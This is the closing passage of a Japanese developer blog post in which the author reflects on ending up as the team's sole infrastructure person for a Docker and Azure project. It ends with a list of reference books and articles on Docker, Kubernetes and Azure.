Docker構築はみんなで仲良くやってました。
途中までは私もインフラやりつつ、バックエンドのロジック実装もしてました。
それがいつしかインフラ触ってるの私だけ。
環境を作るのも私、みんなの公開鍵をサーバーにおくのも私、つまりインフラにおける全ての決定権も私。

幸か不幸かそれでインフラの勉強にはなりましたし、やはり手を動かさないといけませんね。インフラは途中で諦めるとかできないので最後までやりきることが大事ですね。
もちろん他の人に色々質問しまくりましたし、助けてもらいました。感謝感激雨霰です。

ほとんどポエムなこの記事を最後まで読んでくださり、ありがとうございました。

参考文献

最後に参考にした記事や文献を最後にまとめておきます。本当はもっとたくさんあるのですが、どれを読んだか覚えてないので記事に関しては本文で触れたものだけにしておきます。

書籍

Microsoft Azure実践ガイド
3分間ネットワーク基礎講座
プログラマのためのDocker教科書
しくみがわかるKubernetes Azureで動かしながら学ぶコンセプトと実践知識
Kubernetes完全ガイド

記事

RailsのDockerイメージを一番小さくする方法
What is the difference between Azure Container Instances and Web App for Containers?
数時間で完全理解!わりとゴツいKubernetesハンズオン!!
Azureドキュメント

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む